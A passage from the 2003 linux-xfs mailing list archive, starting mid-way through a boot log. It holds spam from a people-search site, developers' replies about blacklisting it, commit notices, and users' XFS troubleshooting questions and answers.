hub usb-uhci.c: $Revision: 1.275 $ time 16:04:03 Jul 9 2003 usb-uhci.c: High bandwidth mode enabled PCI: Setting latency timer of device 00:1f.2 to 64 usb-uhci.c: USB UHCI at I/O 0xff80, IRQ 19 usb-uhci.c: Detected 2 ports usb.c: new USB bus registered, assigned bus number 1 hub.c: USB hub found hub.c: 2 ports detected PCI: Setting latency timer of device 00:1f.4 to 64 usb-uhci.c: USB UHCI at I/O 0xff60, IRQ 23 usb-uhci.c: Detected 2 ports usb.c: new USB bus registered, assigned bus number 2 hub.c: USB hub found hub.c: 2 ports detected usb-uhci.c: v1.275:USB Universal Host Controller Interface driver usbdevfs: remount parameter error Adding Swap: 1020088k swap-space (priority -1) scsi1 : SCSI host adapter emulation for IDE ATAPI devices Vendor: HL-DT-ST Model: CD-RW GCE-8160B Rev: 2.11 Type: CD-ROM ANSI SCSI revision: 02 XFS mounting filesystem sd(8,7) XFS mounting filesystem sd(8,8) XFS mounting filesystem sd(8,17) XFS mounting filesystem sd(8,33) ohci1394: $Rev: 530 $ Ben Collins ohci1394_0: OHCI-1394 1.0 (PCI): IRQ=[16] MMIO=[fe1ff000-fe1ff800] Max Packet=[2048] ieee1394: Host added: Node[00:1023] GUID[805b0600077c8700] [Linux OHCI-1394] 3c59x: Donald Becker and others. www.scyld.com/network/vortex.html 04:0b.0: 3Com PCI 3c905C Tornado at 0xdc80. Vers LK1.1.16 04:0e.0: 3Com PCI 3c905C Tornado at 0xd880. Vers LK1.1.16 04:0f.0: 3Com PCI 3c905C Tornado at 0xd800. Vers LK1.1.16 Installing knfsd (copyright (C) 1996 okir@monad.swb.de). inserting floppy driver for 2.4.19-35mdkenterprise Floppy drive(s): fd0 is 1.44M FDC 0 is a National Semiconductor PC87306 Attached scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0 sr0: scsi3-mmc drive: 40x/40x writer cd/rw xa/form2 cdda tray Uniform CD-ROM driver Revision: 3.12 --------------020005090909010500090005-- From owner-linux-xfs@oss.sgi.com Tue Sep 23 19:56:02 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 19:56:25 -0700 (PDT) Received: from peter.word-of-mouth-connection.com (word-of-mouth-connection.com [66.36.240.135] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O2u1Fx014113 for ; Tue, 23 Sep 2003 19:56:02 -0700 Received: from nobody by peter.word-of-mouth-connection.com with local (Exim 4.20) id 1A1zoy-0003Ry-L9 for linux-xfs@oss.sgi.com; Tue, 23 Sep 2003 22:56:04 -0400 To: linux-xfs@oss.sgi.com Subject: Someone just searched for word-of-mouth information about: linux-xfs@oss.sgi.com From: "search-awareness@word-of-mouth-connection.com" Message-Id: Date: Tue, 23 Sep 2003 22:56:04 -0400 X-archive-position: 512 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: search-awareness@word-of-mouth-connection.com Precedence: bulk X-list: linux-xfs Content-Length: 2170 Lines: 38 WordofMouthConnection.com Search Awareness System This email is a website-generated message, but it is not spam. An acquaintance of yours recently conducted a search on your email address in our online community, WordofMouthConnection.com. It could be a friend, a family member, co-worker, business associate, or someone else who's interested in learning more about you. Why are we sending you this email? When people find out others are talking about them -- whether it is good or bad -- they want to know. At WordofMouthConnection.com, we feel responsible to alert people so they have an opportunity to find out what is being said. Click here to view all "Word-of-Mouth Connections" in our system regarding this email address: http://womc.net/pass.php?a=search&b=5&c=linux-xfs@oss.sgi.com How did we find you? When your acquaintance searched for connections at our website he/she provided us with your email address. What can you do? First, we'd like to invite you to visit our website at www.WordofMouthConnection.com and learn about our service. Registration is free. Not only can you find out if any WordofMouthConnection.com Connections have been submitted about you, but you can connect to others as well to research word-of-mouth information about your friends, co-workers, family, etc. We are solely interested in fostering a community of willing people to promote information exchange. If you decide you're not interested, you can choose to block future emails from us. To add your email address to our Do Not Email List use the following link: http://womc.net/pass.php?a=donotemail&b=&c=true *Important - "Word-of-Mouth Connections" are only for the purpose of identifying the connection subject. What you see is what you get, in terms of search results. WordofMouthConnection.com is an online community that helps connect people so that they can talk at greater length and in greater detail. None of the information that is exchanged resides within the website itself. If you have any questions or comments please email us at: http://womc.net/pass.php?a=contact Sincerely, WordofMouthConnection.com From owner-linux-xfs@oss.sgi.com Tue Sep 23 20:37:59 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 20:38:21 -0700 (PDT) Received: from peter.word-of-mouth-connection.com (word-of-mouth-connection.com [66.36.240.135] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O3bwFx019872 for ; Tue, 23 Sep 2003 20:37:59 -0700 Received: from nobody by peter.word-of-mouth-connection.com with local (Exim 4.20) id 1A20Ti-0004Q6-3t for linux-xfs@oss.sgi.com; Tue, 23 Sep 2003 23:38:10 -0400 To: linux-xfs@oss.sgi.com Subject: Someone just searched for word-of-mouth information about: linux-xfs@oss.sgi.com From: "search-awareness@word-of-mouth-connection.com" Message-Id: Date: Tue, 23 Sep 2003 23:38:10 -0400 X-archive-position: 513 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: search-awareness@word-of-mouth-connection.com Precedence: bulk X-list: linux-xfs Content-Length: 2170 Lines: 38 WordofMouthConnection.com Search Awareness System This email is a website-generated message, but it is not spam. An acquaintance of yours recently conducted a search on your email address in our online community, WordofMouthConnection.com. It could be a friend, a family member, co-worker, business associate, or someone else who's interested in learning more about you. Why are we sending you this email? When people find out others are talking about them -- whether it is good or bad -- they want to know. At WordofMouthConnection.com, we feel responsible to alert people so they have an opportunity to find out what is being said. Click here to view all "Word-of-Mouth Connections" in our system regarding this email address: http://womc.net/pass.php?a=search&b=5&c=linux-xfs@oss.sgi.com How did we find you? When your acquaintance searched for connections at our website he/she provided us with your email address. What can you do? First, we'd like to invite you to visit our website at www.WordofMouthConnection.com and learn about our service. Registration is free. Not only can you find out if any WordofMouthConnection.com Connections have been submitted about you, but you can connect to others as well to research word-of-mouth information about your friends, co-workers, family, etc. We are solely interested in fostering a community of willing people to promote information exchange. If you decide you're not interested, you can choose to block future emails from us. To add your email address to our Do Not Email List use the following link: http://womc.net/pass.php?a=donotemail&b=&c=true *Important - "Word-of-Mouth Connections" are only for the purpose of identifying the connection subject. What you see is what you get, in terms of search results. WordofMouthConnection.com is an online community that helps connect people so that they can talk at greater length and in greater detail. None of the information that is exchanged resides within the website itself. If you have any questions or comments please email us at: http://womc.net/pass.php?a=contact Sincerely, WordofMouthConnection.com From owner-linux-xfs@oss.sgi.com Tue Sep 23 20:48:21 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 20:48:25 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O3mKFx020909 for ; Tue, 23 Sep 2003 20:48:20 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8O45AHc026447 for ; Tue, 23 Sep 2003 23:05:10 -0500 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8O3mEcc11781835 for ; Tue, 23 Sep 2003 22:48:14 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8O3mFK21164117 for ; Tue, 23 Sep 2003 22:48:15 -0500 (CDT) Date: Tue, 23 Sep 2003 22:48:14 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: linux-xfs@oss.sgi.com Subject: Re: Someone just searched for word-of-mouth information about: linux-xfs@oss.sgi.com In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 514 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 196 Lines: 11 We'll look into a blacklist to get rid of this #@#$@ -Eric On Tue, 23 Sep 2003, search-awareness@word-of-mouth-connection.com wrote: > > WordofMouthConnection.com Search Awareness System > From owner-linux-xfs@oss.sgi.com Tue Sep 23 22:02:05 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 22:02:10 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O523Fx026181 for ; Tue, 23 Sep 2003 22:02:05 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8O352OO025374 for ; Tue, 23 Sep 2003 20:05:03 -0700 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8O51meJ014762 for ; Wed, 24 Sep 2003 15:01:48 +1000 Received: (from fsgqa@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8O51mjN014761 for linux-xfs@oss.sgi.com; Wed, 24 Sep 2003 15:01:48 +1000 Date: Wed, 24 Sep 2003 15:01:48 +1000 From: FSG QA Message-Id: <200309240501.h8O51mjN014761@bruce.melbourne.sgi.com> Subject: TAKE - xfstests X-archive-position: 515 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: fsgqa@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 599 Lines: 20 Replace metaperf gedents code with a more useful readdir operation; add some auto-bench scripts for metaperf runs; fix a divide-by-zero in dirperf. -- nathans. Date: Tue Sep 23 22:00:30 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:158885a cmd/xfstests/common.metaperf - 1.1 cmd/xfstests/run.metaperf_10i_1000n - 1.1 cmd/xfstests/run.metaperf_10i_1n - 1.1 cmd/xfstests/run.metaperf_1i_1n - 1.1 cmd/xfstests/src/metaperf.c - 1.2 cmd/xfstests/src/dirperf.c - 1.2 From owner-linux-xfs@oss.sgi.com Wed Sep 24 01:13:43 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 24 Sep 2003 01:14:01 -0700 (PDT) Received: from gusi.leathercollection.ph (gusi.leathercollection.ph [202.163.192.10]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O8DfFx005187 for ; Wed, 24 Sep 2003 01:13:42 -0700 Received: from localhost (localhost [127.0.0.1]) by gusi.leathercollection.ph (Postfix) with ESMTP id 5E767EB4A04 for ; Wed, 24 Sep 2003 16:13:33 +0800 (PHT) Received: from lawin.alabang.leathercollection.ph (lawin.alabang.leathercollection.ph [192.168.0.2]) by gusi.leathercollection.ph (Postfix) with ESMTP id A91B5EB4A00 for ; Wed, 24 Sep 2003 16:13:24 +0800 (PHT) Received: by lawin.alabang.leathercollection.ph (Postfix, from userid 1000) id 5B0701A4071; Wed, 24 Sep 2003 16:13:23 +0800 (PHT) Date: Wed, 24 Sep 2003 16:13:23 +0800 From: Federico Sevilla III To: linux-xfs@oss.sgi.com Subject: Re: Someone just searched for word-of-mouth information about: linux-xfs@oss.sgi.com Message-ID: <20030924081323.GA10396@leathercollection.ph> Mail-Followup-To: linux-xfs@oss.sgi.com References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-Organization: The Leather Collection, Inc. X-Organization-URL: http://www.leathercollection.ph X-Personal-URL: http://jijo.free.net.ph User-Agent: Mutt/1.5.4i X-archive-position: 516 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jijo@free.net.ph Precedence: bulk X-list: linux-xfs Content-Length: 665 Lines: 16 On Tue, Sep 23, 2003 at 10:48:14PM -0500, Eric Sandeen wrote: > We'll look into a blacklist to get rid of this #@#$@ I've blocked any and all mail from that Word of Mouth Connection thing because it doesn't care if you list yourself in the "I don't want to receive mail" list. Initially they -SEEMED- legitimate and decent. They have a number of domain aliases, so you'll probably have to blacklist each and every one. --> Jijo -- Federico Sevilla III : http://jijo.free.net.ph : When we speak of free Network Administrator : The Leather Collection, Inc. : software we refer to GnuPG Key ID : 0x93B746BE : freedom, not price. From owner-linux-xfs@oss.sgi.com Wed Sep 24 03:06:46 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 24 Sep 2003 03:07:14 -0700 (PDT) Received: from mailserver.globalintech.pl (ip126.globalintech.pl [62.89.81.126]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OA6iFx025872 for ; Wed, 24 Sep 2003 03:06:46 -0700 Received: from ima.pl ([172.16.148.48]) by mailserver.globalintech.pl with Microsoft SMTPSVC(5.0.2195.6713); Wed, 24 Sep 2003 12:06:42 +0200 Message-ID: <3F716CB2.6010805@ima.pl> Date: Wed, 24 Sep 2003 12:06:42 +0200 From: "Blizbor (IMA)" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030718 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Why problems with mount and strace Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 24 Sep 2003 10:06:42.0946 (UTC) FILETIME=[8DE57E20:01C38283] X-archive-position: 517 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tb670725@ima.pl Precedence: bulk X-list: linux-xfs Content-Length: 644 Lines: 23 Hi, I have tested something and I have found weird behaviour. I repeated the same for fstype in ext2, jfs, reiserfs and xfs curious how mkfs and mount are working (trying to trace whats wrong beetween drbd and xfs) strace -o mkfs.${fstype}.txt -ff mkfs.${fstype} /dev/xxx strace -o mount.${fstype} /dev/xxx /mountpoint I've got all mkfs logs. I've got all but xfs logs for mount. Telling the trueth, I've got log of mounting xfs but something weird happened. Mount without strace was working fine but "strace mount" was failed. (No such device, bad options ... easy to reproduce) Why I can't mount xfs and strace it ? Regards, Blizbor From owner-linux-xfs@oss.sgi.com Wed Sep 24 05:40:51 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 24 Sep 2003 05:41:11 -0700 (PDT) Received: from capanaparo.venred.com ([66.232.152.41]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OCenFx010914 for ; Wed, 24 Sep 2003 05:40:50 -0700 X-ClientAddr: 200.84.50.151 Received: from Pablo ([200.84.50.151]) (authenticated (0 bits)) by capanaparo.venred.com (8.11.6/8.11.6) with ESMTP id h8OCcxK28267 for ; Wed, 24 Sep 2003 08:39:39 -0400 Message-ID: <000801c382b2$11e892b0$973254c8@Pablo> From: "Pablo Osers" To: Subject: Need Some Info Date: Wed, 24 Sep 2003 08:38:59 -0700 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-MailScanner-Information: Please contact the ISP for more information X-MailScanner: Found to be clean Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit X-archive-position: 519 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: pablo.osers@it.com.ve Precedence: bulk X-list: linux-xfs Content-Length: 351 Lines: 13 Hi: I've just got a Silicon Graphics O2, I was wondering if I can install RED HAT 9 on it, because i know that the system architecture is different from a intel. so if some one there can explain me how to install redhat 9 or other linux version on it... thanks in advance Pablo Osers pablo.osers@it.com.ve [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Wed Sep 24 09:06:05 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 24 Sep 2003 09:06:21 -0700 (PDT) Received: from electre.pasteur.fr (electre.pasteur.fr [157.99.64.120]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OG63Fx027830 for ; Wed, 24 Sep 2003 09:06:04 -0700 Received: from xiii.bis.pasteur.fr (xiii.bis.pasteur.fr [157.99.90.14]) by electre.pasteur.fr (8.12.9/8.12.9) with ESMTP id h8OG62lQ368390 for ; Wed, 24 Sep 2003 18:06:02 +0200 (CEST) Received: (from tru@localhost) by xiii.bis.pasteur.fr (8.11.6/8.11.6) id h8OG62610625 for linux-xfs@oss.sgi.com; Wed, 24 Sep 2003 18:06:02 +0200 Date: Wed, 24 Sep 2003 18:06:02 +0200 From: Tru Huynh To: "linux-xfs@oss.sgi.com" Subject: Re: xfs_repair: phase6.c:2604: longform_dir2_rebuild_finish: Assertion `error == 0' failed. Message-ID: <20030924180602.A10597@xiii.bis.pasteur.fr> References: <20030924003659.A25447@xiii.bis.pasteur.fr> <20030924004839.A25236@xiii.bis.pasteur.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20030924004839.A25236@xiii.bis.pasteur.fr>; from tru@pasteur.fr on Wed, Sep 24, 2003 at 12:48:39AM +0200 X-archive-position: 520 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tru@pasteur.fr Precedence: bulk X-list: linux-xfs Content-Length: 2428 Lines: 65 On Wed, Sep 24, 2003 at 12:48:39AM +0200, Tru Huynh wrote: > On Wed, Sep 24, 2003 at 12:36:59AM +0200, Tru Huynh wrote: > > Hi, > > > > Some more trouble on another partition :( > > > > I umounted the filesystem, run xfs_repair on it: > > .... > > no better luck with version 2.5.8 of xfs_repair :( > > [tru@fly ~]$ xfs_repair -V > xfs_repair version 2.5.8 > ... > Phase 6 - check inode connectivity... > - resetting contents of realtime bitmap and summary inodes > - ensuring existence of lost+found directory > - traversing filesystem starting at / ... > rebuilding directory inode 128 > - traversal finished ... > - traversing all unattached subtrees ... > rebuilding directory inode 82364787 > xfs_repair: phase6.c:2604: longform_dir2_rebuild_finish: Assertion `error == 0' failed. > Abort I tried to let it live like that but the XFS filesystem crashed again today without possible recovery :( /var/log/messages: xfs_force_shutdown(ide1(22,1),0x8) called from line 1071 of file xfs_trans.c. Return address = 0xc01c3bf3 Filesystem "ide1(22,1)": Corruption of in-memory data detected. Shutting down filesystem: ide1(22,1) Please umount the filesystem, and rectify the problem(s) xfs_iunlink_remove: xfs_trans_read_buf() returned an error 5 on ide1(22,1). Returning error. xfs_repair /dev/hdc1: Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - ensuring existence of lost+found directory - traversing filesystem starting at / ... rebuilding directory inode 128 empty data block 14 in directory inode 302146897: junking block empty data block 15 in directory inode 302146897: junking block free block 16777216 entry 14 for directory ino 302146897 bad rebuilding directory inode 302146897 - traversal finished ... - traversing all unattached subtrees ... rebuilding directory inode 82364787 xfs_repair: phase6.c:2604: longform_dir2_rebuild_finish: Assertion `error == 0' failed. Abort [tru@fly ~]$ sudo mount /Bis/scratch mount: wrong fs type, bad option, bad superblock on /dev/hdc1, or too many mounted file systems I could only reformat it. Thanks for your time. Tru -- Dr Tru Huynh | http://www.pasteur.fr/recherche/unites/Binfs/ mailto:tru@pasteur.fr | tel/fax +33 1 45 68 87 37/19 Institut Pasteur, 25-28 rue du Docteur Roux, 75724 Paris CEDEX 15 France From owner-linux-xfs@oss.sgi.com Wed Sep 24 12:09:02 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 24 Sep 2003 12:09:17 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OJ91Fx015342 for ; Wed, 24 Sep 2003 12:09:02 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8OHC4OO006247 for ; Wed, 24 Sep 2003 10:12:04 -0700 Received: from tulip-e236.americas.sgi.com (tulip-e236.americas.sgi.com [128.162.236.208]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8OJ8scc11783257 for ; Wed, 24 Sep 2003 14:08:55 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by tulip-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8OJ8sSn29923984 for ; Wed, 24 Sep 2003 14:08:54 -0500 (CDT) Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8OJ8rkf028921 for ; Wed, 24 Sep 2003 14:08:53 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8OJ8rnK028919 for linux-xfs@oss.sgi.com; Wed, 24 Sep 2003 14:08:53 -0500 Date: Wed, 24 Sep 2003 14:08:53 -0500 From: Steve Lord Message-Id: <200309241908.h8OJ8rnK028919@jen.americas.sgi.com> Subject: PARTIAL TAKE 901298 - X-archive-position: 521 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 394 Lines: 18 remove dead function xfs_trans_iput Date: Wed Sep 24 12:08:34 PDT 2003 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:158917a linux/fs/xfs/xfs_trans_inode.c - 1.46 - remove xfs_trans_iput, unused linux/fs/xfs/xfs_trans.h - 1.122 - nuke prototype for xfs_trans_iput From owner-linux-xfs@oss.sgi.com Wed Sep 24 14:42:33 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 24 Sep 2003 14:42:48 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OLgSFx027894 for ; Wed, 24 Sep 2003 14:42:33 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8OLgNq0011376 for ; Wed, 24 Sep 2003 14:42:23 -0700 Received: from tulip-e236.americas.sgi.com (tulip-e236.americas.sgi.com [128.162.236.208]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8OLgMcc11793718 for ; Wed, 24 Sep 2003 16:42:22 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by tulip-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8OLgNSn29763765 for ; Wed, 24 Sep 2003 16:42:23 -0500 (CDT) Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8OLgMkf030632 for ; Wed, 24 Sep 2003 16:42:22 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8OLgM59030630 for linux-xfs@oss.sgi.com; Wed, 24 Sep 2003 16:42:22 -0500 Date: Wed, 24 Sep 2003 16:42:22 -0500 From: Steve Lord Message-Id: <200309242142.h8OLgM59030630@jen.americas.sgi.com> Subject: TAKE remove some unmount flush holes To: linux-xfs@oss.sgi.com X-archive-position: 522 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 618 Lines: 21 Close some holes in the metadata flush logic used during unmount, make sure we have no pending I/O completion calls for metadata, and that we only keep hold of metadata buffers for I/O completion if we want to. Still not perfect, but better than it was. Date: Wed Sep 24 14:38:30 PDT 2003 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:158933a linux/fs/xfs/pagebuf/page_buf.c - 1.134 - Rework metadata flushing logic for unmount linux/fs/xfs/pagebuf/page_buf.h - 1.71 - remove unused flag From owner-linux-xfs@oss.sgi.com Thu Sep 25 01:48:35 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 01:48:53 -0700 (PDT) Received: from gepard.f-net.pl (mail@f-net.pl [212.244.107.162]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8P8mWFx023877 for ; Thu, 25 Sep 2003 01:48:34 -0700 Received: from qba by gepard.f-net.pl with local (Exim 4.20) id 1A2Rph-0002Wq-Ms for linux-xfs@oss.sgi.com; Thu, 25 Sep 2003 10:50:41 +0200 Date: Thu, 25 Sep 2003 10:50:41 +0200 To: linux-xfs@oss.sgi.com Subject: XFS + 2.4.22 problem Message-ID: <20030925085041.GA9535@gepard.f-net.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.3.28i From: qba X-archive-position: 523 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: qba@gepard.f-net.pl Precedence: bulk X-list: linux-xfs Content-Length: 1254 Lines: 28 Helou. Linux 2.4.22 kernel compiled by me - on woody debian with xfs # The XFS development tree , owl , imq and esfq patches . During shutdown i get message that : /dev/hda2 (my / ) is not mounted , and the system is unable to umount it because it is busy. Everytime at the startup i get Sep 24 15:32:40 gepard kernel: XFS mounting filesystem ide0(3,2) Sep 24 15:32:40 gepard kernel: Starting XFS recovery on filesystem: ide0(3,2) (dev: 3/2) Sep 24 15:32:40 gepard kernel: Ending XFS recovery on filesystem: ide0(3,2) (dev: 3/2) More over , i added a new hard disk, WDC80GB, made xfs on it mounted. when making hdparm -c1 -d1 /dev/hdb (hdb it is this disk) i get Sep 24 15:32:40 gepard kernel: blk: queue c049fde0, I/O limit 4095Mb (mask 0xffffffff) Sep 24 15:32:40 gepard kernel: blk: queue c049ff28, I/O limit 4095Mb (mask 0xffffffff) what can be the problem ? what actually is happening ? thanx for all help -- [ Pozdrawiam ] [ Dawid Chrzan ] [ http://f-net.pl ] [ RLU#212729 ] [ net/sys administrator ] [ mailto:qba@f-net.pl ] ** Klikanie nie zwalnia od myÅ›lenia, nawet jeÅ›li MS sugeruje coÅ› innego! ** ** Adminie!!! Nie piÅ‚eÅ› dzisiaj kawy? Wypij! - PiÅ‚eÅ›? Wypij drugÄ…... ** From owner-linux-xfs@oss.sgi.com Thu Sep 25 02:57:51 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 02:58:05 -0700 (PDT) Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8P9vmFx003543 for ; Thu, 25 Sep 2003 02:57:49 -0700 Received: (qmail 24748 invoked from network); 25 Sep 2003 09:57:43 -0000 Received: from ocs3.intra.ocs.com.au (192.168.255.3) by mail.ocs.com.au with SMTP; 25 Sep 2003 09:57:43 -0000 Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331) id 6E8D0C00A9; Thu, 25 Sep 2003 19:57:37 +1000 (EST) Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1]) by ocs3.intra.ocs.com.au (Postfix) with ESMTP id 6B318140086; Thu, 25 Sep 2003 19:57:37 +1000 (EST) X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4 From: Keith Owens To: qba Cc: linux-xfs@oss.sgi.com Subject: Re: XFS + 2.4.22 problem In-reply-to: Your message of "Thu, 25 Sep 2003 10:50:41 +0200." <20030925085041.GA9535@gepard.f-net.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 25 Sep 2003 19:57:36 +1000 Message-ID: <17408.1064483856@ocs3.intra.ocs.com.au> X-archive-position: 524 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1364 Lines: 43 On Thu, 25 Sep 2003 10:50:41 +0200, qba wrote: >Helou. >Linux 2.4.22 kernel compiled by me - on woody debian with >xfs # The XFS development tree , owl , imq and esfq patches . > >During shutdown i get message that : /dev/hda2 (my / ) is not mounted , >and the system is unable to umount it because it is busy. Not an XFS problem. You still have a process running that is holding / open. Edit /etc/rc.d/init.d/halt, after # Try them all, one last time. umount -a -f add ps xa lsof / That will tell you which process is holding / open. >Everytime at the startup i get >Sep 24 15:32:40 gepard kernel: XFS mounting filesystem ide0(3,2) >Sep 24 15:32:40 gepard kernel: Starting XFS recovery on filesystem: ide0(= >3,2) (dev: 3/2) >Sep 24 15:32:40 